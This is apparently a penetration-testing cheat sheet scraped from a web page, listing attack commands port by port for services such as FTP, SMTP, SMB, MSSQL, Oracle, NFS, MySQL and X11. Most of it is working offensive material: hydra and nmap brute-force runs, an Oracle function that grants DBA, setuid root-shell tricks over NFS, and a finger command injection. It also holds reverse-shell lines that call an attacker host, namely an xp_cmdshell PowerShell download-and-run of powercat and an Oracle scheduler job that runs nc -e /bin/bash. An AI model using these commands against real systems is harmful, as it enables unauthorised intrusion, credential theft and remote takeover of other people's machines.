7 - Echo
Copy nc -uvn < I P > 7
Hello echo #This is what you send
Hello echo #This is the response
21 - FTP
Fingerprint
Copy use auxiliary/scanner/ftp/ftp_version
Anonymous access
Copy ftp < I P >
> anonymous
> anonymous
> ls -ab
> binary
> ascii
> bye
Copy nmap -sV --script ftp-anon -p < I P >
Brute Force
Copy hydra -t 1 -l admin -P /root/Desktop/password.lst -vV < I P > ftp
Copy nmap -sV --script ftp-brute -p < I P >
Copy use auxiliary/scanner/ftp/ftp_login
FTP Bounce Port Scanner
Copy nmap -sV --script ftp-bounce -p < I P >
Copy use auxiliary/scanner/portscan/ftpbounce
Configuration files
22 - SSH
Fingerprint/Enumerate
Copy telnet < I P > 22 (banner grab )
Copy use auxiliary/scanner/ssh/ssh_version
Copy nmap --script ssh2-enum-algos -p 22 -n < I P >
nmap --script ssh-hostkey -p 22 -n < I P > --script-args ssh_hostkey=full
nmap --script sshv1 -p 22 -n < I P >
Brute Force
Copy hydra -l root -p admin < I P > -t 4 ssh
Copy use auxiliary/scanner/ssh/ssh_login
Configuration files
23 - Telnet
Fingerprint
Copy nmap -p 23 < i p > --script telnet-encryption
Copy use auxiliary/scanner/telnet/telnet_version
Brute Force
Copy hydra -L usernames.txt -P passwords.txt < I P > telnet -V
Copy nmap -p 23 --script telnet-brute --script-args userdb= < myusers.ls t > ,passdb= < mypwds.ls t > ,telnet-brute.timeout=8s < I P >
Copy use auxiliary/scanner/telnet/telnet_login
Copy # Solaris 10+
telnet -l "-froot" hostname
Configuration files
25, 587 - SMTP
Fingerprint / SASL Methods
Copy telnet < I P > 25
> ehlo me
Copy openssl s_client -connect < I P > :25 -starttls smtp
> ehlo me
Copy nmap --script smtp-commands.nse [--script-args smtp-commands.domain= < domai n > ] -pT:25,465,587 < I P >
Copy use auxiliary/scanner/smtp/smtp_version
Enumerate users
Copy VRFY username
EXPN username
Copy nmap --script smtp-enum-users.nse [--script-args smtp-enum-users.methods={EXPN,...},...] -p 25,465,587 < I P >
Copy use auxiliary/scanner/smtp/smtp_enum
Brute Force
Copy nmap -p 25 --script smtp-brute < I P >
Open Mail Relay
Copy HELO me
MAIL FROM: test@testdomain.com
RCPT TO: my_email@example.com
DATA
Subject: This is a test mail
From: Test User
To: Test Target
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
This is a test email for you to read.
.
QUIT
Copy nmap -v --script=smtp-open-relay -p 25 < I P >
Copy use auxiliary/scanner/smtp/smtp_relay
53 - DNS
DNS Enumeration
Copy use auxiliary/gather/dns_srv_enum
use auxiliary/gather/enum_dns
Copy nmap --script=dns-service-discovery -p 5353 < I P >
nmap --script=broadcast-dns-service-discovery < I P >
nmap --script dns-blacklist --script-args= 'dns-blacklist.ip=<ip>'
nmap -sSU -p 53 --script dns-nsid < I P >
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='example.com'"
Zones/Zone Transfer
Copy nmap -sn -Pn ns1.example.com --script dns-check-zone --script-args= 'dns-check-zone.domain=example.com'
nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain= < domai n >
Recursion
Copy nmap -sU -p 53 --script=dns-recursion < I P >
DNS Lookup
Copy nslookup < Domai n > [server]
nslookup -type=ns < Domai n >
Copy dig [-4 | -6 ] @ < Serve r > < Domai n > < Typ e >
Copy python
>>> import socket
>>> socket.gethostbyname( 'www.google.com' )
Copy use auxiliary/gather/dns_info
Reverse DNS Lookup
Copy dig [-4 | -6 ] -x < I P >
Copy nslookup -type=ns < I P >
Copy dnsrecon -r < startIP-endI P >
Copy whois < I P > | grep -E "Creation|Created|Registration|created|Expiration|Expires|Email"
Copy use auxiliary/gather/dns_reverse_lookup
Brute Force
Copy nmap --script dns-brute www.example.com -sn -n -Pn
Copy use auxiliary/gather/dns_bruteforce
DNS Amplification Scanner
Copy auxiliary/scanner/dns/dns_amp
DNS Non-Recursive Record Scraper
Copy nmap -sU -p 53 --script dns-cache-snoop.nse < I P >
Copy use auxiliary/gather/dns_cache_scraper
Configuration Files
69 - TFTP
Enumeration
Copy tftp < I P > PUT local_file
tftp < I P > GET conf.txt (or other files )
# Solarwinds TFTP server
tftp – i < I P > GET /etc/passwd (old Solaris )
Bruteforcing
Copy use auxiliary/scanner/tftp/tftpbrute
79 - Finger
User enumeration
Copy finger root example.com
finger 'a b c d e f g h' @example.com
finger admin@example.com
finger user@example.com
finger 0@example.com
finger .@example.com
finger **@example.com
finger test@example.com
finger @example.com
Copy nmap -sV -sC < targe t >
Copy use auxiliary/scanner/finger/finger_users
Command execution
Copy finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
Finger Bounce
Copy finger user@host@victim
finger @internal@external
Funny Bit
Weather forecast
Copy finger london@graph.no
80, 8080, 443 - Web Ports
Too much to be listed here: These are not the droids you are looking for
.
88 - Kerberos
Enumerate Users
Copy nmap -p 88 --script=krb5-enum-users --script-args= "krb5-enum-users.realm='test'" < I P >
110 - POP3
Enumeration
Copy use auxiliary/scanner/pop3/pop3_version
Brute Force
Copy nmap -sV --script=pop3-brute < I P >
Copy use auxiliary/scanner/pop3/pop3_login
Retrieve email
Copy telnet < I P > 110
> USER admin@ < IP >
> PASS admin
# List all emails
> list
# Retrive email number 5, for example
> retr 5
111 - Portmapper
Enumerate RPC-based services
Copy rpcinfo < I P >
rpcinfo -p < I P >
Copy nmap -sSUC -p111 < I P >
RPCBind + NFS
Check for the nfs mounts using port 111
Copy use auxiliary/scanner/nfs/nfsmount
113 - Ident
Enumeration
119 - NNTP Network News Transfer Protocol
Enumeration
Copy nmap -p 119,433,563 --script nntp-ntlm-info < I P >
Brute Force
Copy use auxiliary/scanner/nntp/nntp_login
123 - NTP
Enumeration
Copy nmap -sU -p 123 --script ntp-info < I P >
nmap -sU -p 123 --script ntp-monlist.nse < I P >
Copy ntpq < I P >
> lpeers
> version
> readlist
> host
> hostname
> ntpversion
Copy ntpdc -c monlist < I P >
ntpdc -c sysinfo < I P >
Mode 6 Query
Configuration files
135-139, 445 - NetBIOS
Enumeration
Copy use auxiliary/scanner/smb/smb_version
Copy nbtscan -r 192.168.1.1/24
Copy nmap --script=broadcast-netbios-master-browser < I P >
Copy nmap --script=msrpc-enum < I P >
Copy use exploit/windows/dcerpc/ms03_026_dcom
Domain
SMB/Samba shares
Copy smbclient -L 10.10.10.10
smbclient //10.10.10.10/tmp
smbclient \\\\ 10.10.10.10 \\ ipc $ -U bob
smbclient //10.10.10.10/ipc $ -U bob
Null Session
Copy net use \\<IP>\ipc$ "" /u:""
Copy smbclient //TYPHOON/typhoon -I < I P > -N
Connectin with PSExec
Copy use exploit/windows/smb/psexec
Configuration Files
135, 593 - Microsoft Windows RPC Services and Microsoft RPC Services over HTTP
Enumeration
Copy Endpoint Mapper Service Discovery
use auxiliary/scanner/dcerpc/endpoint_mapper
Hidden DCERPC Service Discovery
use auxiliary/scanner/dcerpc/hidden
Remote Management Interface Discovery
use auxiliary/scanner/dcerpc/management
DCERPC TCP Service Auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
161 - SNMP
Enumeration
Copy nmap -Pn -sU -p 161 --script=snmp-brute < I P >
nmap -Pn -sU -p 161 --script=snmp-interfaces < I P >
Available nse scripts:
Copy snmp-brute.nse
snmp-hh3c-logins.nse
snmp-info.nse
snmp-interfaces.nse
snmp-ios-config.nse
snmp-netstat.nse
snmp-processes.nse
snmp-sysdescr.nse
snmp-win32-services.nse
snmp-win32-shares.nse
snmp-win32-software.nse
snmp-win32-users.nse
Copy snmpwalk -v < Versio n > -c < Community strin g > < I P >
Default Community Strings
Copy public
private
community
Copy use auxiliary/scanner/snmp/snmp_enum
Bruteforce
Copy onesixtyone -c /usr/share/doc/onesixtyone/dict.txt < I P >
Copy for i in $( cat /usr/share/doc/onesixtyone/dict.txt ); do echo -n "$i :" ; snmpget -v 3 -u $i udp6:[ < IPv 6> ] 1.3.6.1.2.1.1.4.0 ; done
Copy use auxiliary/scanner/snmp/snmp_login
Configuration files
264 - Check Point FireWall-1 Topology
Enumeration
Copy use auxiliary/gather/checkpoint_hostname
389, 636 - LDAP
Enumeration
Copy nmap -p 389 --script ldap-rootdse < I P >
Copy ldapsearch -LLL -x -H ldap:// < domain fqd n > -b ‘’ -s base ‘ (objectclass = * ) ’
ldapsearch -h < I P > -p 389 -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -h < I P > -p 389 -x -b "dc=example,dc=com"
Copy nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=ldaptest,cn=users,dc=cqure,dc=net",ldap.password=ldaptest,ldap.qfilter=users,ldap.attrib=sAMAccountName' < I P >
Brute force
Copy nmap -p 389 --script ldap-brute --script-args ldap.base= '"cn=users,dc=cqure,dc=net"' < i p >
Configuration Files
Microsoft Active Directory server
Netscape Directory Server 4
OpenLDAP directory server
Sun ONE Directory Server 5.1
500/1723 - PPTP/L2TP/VPN
Aggressive mode
Copy ike-scan < I P > -M -A --id=123
Testing process would go as follows:
Enumerate transform sets and confirm Aggressive Mode support
Run IKEForce in enum mode to obtain a valid group name or ID
Obtain a valid hash using IKE-Scan
Crack the hash using OCLHashcat
Run IKEForce in brute mode to obtain valid XAUTH credentials
Authenticate using chosen client
Pwn to your heart's content
enumerate id
Test 1
Copy python ikeforce.py < I P > -a
Copy python ikeforce.py < I P > -e -t x x x x -w ./wordlists
Test 2
Copy ike-scan -M < I P > -A --auth=65001
Copy for i in $( cat /root/groups.txt ); do echo | tee -a /root/vpn-test ; echo "Testing: $i" | tee -a /root/vpn-test && ike-scan -M < I P > -A --auth=65001 --id=$i | tee -a /root/vpn_test ; done
Copy grep "Handshake returned" -B2 /root/vpn_test
Copy ike-scan -M < I P > -A --auth=65001 --id=ID -P/tmp/psk
Copy psk-crack -d /usr/share/wordlists/metasploit/unix_passwords.txt /tmp/psk
502 - Modbus
Discover
Copy nmap --script modbus-discover.nse --script-args= 'modbus-discover.aggressive=true' -p 502 < I P >
512 - rexec
Access
Brute Force
Copy nmap -p 512 --script rexec-brute < I P >
Copy use auxiliary/scanner/rservices/rexec_login
513 - rlogin
Enumeration
Copy Find the files
find / -name .rhosts
locate .rhosts
Examine Files
cat .rhosts
Subvert the files
echo ++ > .rhosts
Manual Login
Copy rlogin -l username < I P >
rlogin < I P >
Brute force
Copy nmap -p 513 --script rlogin-brute < i p >
Copy hydra -L usernames.txt -P passwords.txt < I P > rlogin -V
Copy use auxiliary/scanner/rservices/rlogin_login
514 - rsh
Enumeration
Brute force
Copy hydra -L usernames.txt rsh:// < I P > -v -V
Copy use auxiliary/scanner/rservices/rsh_login
548 - AFP - Apple Filing Protocol
Enumeration
Copy nmap -sV -sC < I P >
nmap -sS -sV -p 548 --script=afp-ls < I P >
nmap -sV --script=afp-showmount < I P >
nmap -sV --script=afp-path-vuln < I P >
Copy use auxiliary/scanner/afp/afp_server_info
Brute force
Copy nmap -p 548 --script afp-brute < I P >
554, 8554 - RTSP
Enumeration
Copy nmap -p 8554 -sV --script rtsp-methods < I P >
nmap -p 554 --script rtsp-methods < i p >
Brute Force
Copy nmap -p 554 --script rtsp-url-brute < i p >
873 - Rsync
Enumeration
Copy nmap -p 873 --script=rsync-list-modules < I P >
Copy use auxiliary/scanner/rsync/modules_list
1099 - Java RMI
Enumeration
Copy use auxiliary/scanner/misc/java_rmi_server
Notable Exploits
Java RMI Server Insecure Default Configuration Java Code Execution
Copy use exploit/multi/misc/java_rmi_server
Default configuration of rmiregistry allows loading classes from remote URLs
Copy nmap --script=rmi-vuln-classloader -p 1099 < I P >
1433, 1434 - SQL Server
Metasploit
Queries the MSSQL instance for information
Copy use auxiliary/scanner/mssql/mssql_ping
Default passwords
Copy use auxiliary/scanner/mssql/mssql_login
Microsoft SQL Server Configuration Enumerator
Copy use auxiliary/admin/mssql/mssql_enum
Microsoft SQL Server xp_cmdshell Command Execution
Copy use auxiliary/admin/mssql/mssql_exec
Copy EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd'
Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
Copy use auxiliary/admin/mssql/mssql_enum_domain_accounts
Microsoft SQL Server Find and Sample Data
Copy use auxiliary/admin/mssql/mssql_findandsampledata
Microsoft SQL Server Generic Query
Copy use auxiliary/admin/mssql/mssql_sql
MSSQL Schema Dump
Copy use auxiliary/scanner/mssql/mssql_schemadump
Others
Copy use auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
use auxiliary/admin/mssql/mssql_enum_sql_logins
use auxiliary/admin/mssql/mssql_escalate_dbowner
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
use auxiliary/admin/mssql/mssql_escalate_execute_as
use auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
use auxiliary/admin/mssql/mssql_idf
use auxiliary/admin/mssql/mssql_ntlm_stealer
use auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
use auxiliary/admin/mssql/mssql_sql_file
use auxiliary/analyze/jtr_mssql_fast
use auxiliary/scanner/mssql/mssql_hashdump
Hacking SQL Server Stored Procedures
1494 - Citrix
Enumeration
1521 - Oracle
Oracle Enumeration
Copy use auxiliary/scanner/oracle/tnslsnr_version
use auxiliary/scanner/oracle/sid_enum
Brute Force
nmap
Copy nmap --script=oracle-sid-brute --script-args=oraclesids=/path/to/sidfile -p 1521-1560 < I P >
nmap --script=oracle-sid-brute -p 1521-1560 < I P >
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL < I P >
nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL < I P >
nmap --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 < I P >
odat
Copy ./odat-libc2.5-x86_64 sidguesser -s < I P >>
Copy ./odat-libc2.5-x86_64 passwordguesser -d XE -s < I P >
metasploit
Copy use auxiliary/scanner/oracle/oracle_login
use auxiliary/scanner/oracle/sid_brute
PrivEsc
Copy select * from session_privs;
Copy select banner from v$version where banner like 'Oracle%';
Create function:
Copy CREATE OR REPLACE FUNCTION GETDBA_mine(FOO varchar) return varchar deterministic authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to myuser identified by myuser';
commit;
return 'FOO';
End;
Create index:
Copy create index exploit_index_mine on SYS.DUAL(SCOTT.GETDBA_mine('BAR'));
Copy select user from sys.dual;
LOGIN WITH NEW USER - VIA RAZORSQL
Copy select * from session_privs;
Start listener on Kali:
Create job:
Copy begin
dbms_scheduler.create_job( job_name => 'TEST',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('TESTX', 1, 'KALI_IP');
dbms_scheduler.set_job_argument_value('TESTX', 2, '9999');
dbms_scheduler.set_job_argument_value('TESTX', 3, '-e');
dbms_scheduler.set_job_argument_value('TESTX', 4, '/bin/bash');
dbms_scheduler.enable('TESTX');
end;
SQL Injection References
2049 - NFS
Enumeration
Copy showmount -e < hostname/I P >
Copy mount -t nfs < I P > :/directory_found_exported /local_directory
no_root_squash
Case 1:
Copy int main(void) {
setgid(0); setuid(0);
execl(“/bin/sh”,”sh”,0); }
Copy chown root.root ./pwnme
chmod u+s ./pwnme
Case 2:
Copy cp /bin/bash local_shell
Copy cat local_shell > spawn_root_shell
chmod 4777 ! $
Copy ./spawn_root_shell -p
Configuration Files
2301, 2381 - Compaq/HP Insight Manager
Enumeration
Copy nmap -sV -p 2301,2381 < I P >
Configuration Files
3260 - ISCSI
Enumeration
Copy nmap -sV -p 3260 --script=iscsi-info < I P >
Exploitation
3306 - MySQL
Enumeration
Copy nmap -A -n -p3306 < I P >
nmap -A -n -PN --script:ALL -p3306 < I P >
Copy use test; select * from test;
Copy use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_hashdump
Copy mysql -u root -p -h < I P >
Quick testing
Copy mysql -h < I P > -u root
mysql -h < I P > -u root
mysql -h < I P > -u root@localhost
mysql -h < I P >
mysql -h < I P > -u "" @localhost
Brute Force
Copy use auxiliary/scanner/mysql/mysql_login
Privilege Escalation
Copy Current Level of access
mysql> select user();
mysql> select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
Access passwords
mysql> use mysql
mysql> select user,password from user;
Create a new user and grant him privileges
mysql>create user test identified by 'test';
mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
Break into a shell
mysql> \! cat /etc/passwd
mysql> \! bash
Configuration Files
3389 - RDesktop
Network level auth NLA
Copy nmap -p 3389 --script rdp-enum-encryption < I P >
Brute Force
Copy ncrack -vv --user Administrator -P /root/passwords.txt rdp://192.168.1.101
5000+ - Sybase
Enumeration
5060 - SIP
Enumeration
Configuration Files
5432 - Postgresql
Enumeration
Copy use auxiliary/scanner/postgres/postgres_version
Brute Force
Copy use auxiliary/scanner/postgres/postgres_login
Exploitation
PostgreSQL 9.0, 9.1, and 9.2
Copy use auxiliary/scanner/postgres/postgres_dbname_flag_injection
5555 - HPDataProtector
RCE
Copy use exploit/multi/misc/hp_data_protector_exec_integutil
5900^ - VNC
Enumeration
Copy use auxiliary/scanner/vnc/vnc_none_auth
Copy Scan 5900^ for direct access.5800 for HTTP access.
Brute Force
Copy use auxiliary/scanner/vnc/vnc_login
Password Attacks
Copy Registry Locations
\HKEY_CURRENT_USER\Software\ORL\WinVNC3
\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
Decryption Key
0x238210763578887
Default location where the VNC password is stored
Configuration Files
/etc/sysconfig/vncservers
5984 - CouchDB
Enumeration
Copy curl http:// < I P > :5984/
curl -X GET http:// < I P > :5984/_all_dbs
curl -X GET http://user:password@ < I P > :5984/_all_dbs
curl -X GET http:// < I P > :5984/{dbname}/_all_docs
curl -X GET http:// < I P > :5984/{dbname}/{id}
6000^ - X11
Enumeration
Copy nmap -p 6000 --script=x11-access < I P >> -nvvv
Copy use auxiliary/scanner/x11/open_x11
Screenshots
Copy xwd -display < I P > :0 -root -out screenshot.xwd
If image is black, kill screensaver:
Copy xwininfo -root -children -display < I P >> :0
Copy xkill -display 192.168.X.209:0 -id 0x3200001 # 0x3200001 = "gnome-screensaver"
Keyboard Command Injection
Manual
Copy export DISPLAY =< IP > :0
Copy xdotool type "clear && history () bash && history"
Metasploit
Copy use exploit/unix/x11/x11_keyboard_exec
Sniff the keyboard keystrokes
Configuration Files
Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"
/usr/lib/X11/xdm/xsession
/usr/lib/X11/xdm/xsession-remote
/usr/lib/X11/xdm/xsession.0
/usr/lib/X11/xdm/xdm-config
DisplayManager*authorize:on
6379 - Redis
Enumeration
Copy nmap -p 6379 --script redis-info < I P >
Copy use auxiliary/scanner/redis/redis_server
use auxiliary/scanner/redis/redis_login
use auxiliary/scanner/redis/file_upload
Exploitation
9001, 9030 - Tor
Enumeration
Copy nmap --script=tor-consensus-checker < I P >
9100 - PJL - Jet Direct
Enumeration
Copy nmap -p 9100 --script=pjl-ready-message.nse -n < I P >
Copy use auxiliary/scanner/printer/printer_version_info
9160 - Apache Cassandra
Enumeration
Copy nmap -p 9160 -n --script=cassandra-info < I P >
Brute Force
Copy nmap -p 9160 -n --script=cassandra-brute < I P >
10000 - NDMP -Network Data Management Protocol
Enumeration
Copy nmap -sV < I P >
nmap -p 10000 --script ndmp-fs-info -n < I P >
11211 - Memcache
Enumeration
Copy nmap -p 11211 --script memcached-info < I P >
27017, 27018 - MongoDB
Enumeration
Copy nmap -p 27017 -sV --script mongodb-info < I P >
nmap -p 27017 -sV --script mongodb-databases.nse < I P >
Brute Force
Copy nmap 10.169.xx.xx -p 27017 -sV --script mongodb-brute -n
Copy use auxiliary/scanner/mongodb/mongodb_login
44818 - EthernetIP-TCP-UDP
Enumeration
Copy nmap -p 44818 -n --script enip-enumerate -Pn < I P >
47808 - UDP BACNet
Enumeration
Copy nmap -sU -p 47808 -n -vvv --script BACnet-discover-enumerate --script-args full=yes < I P >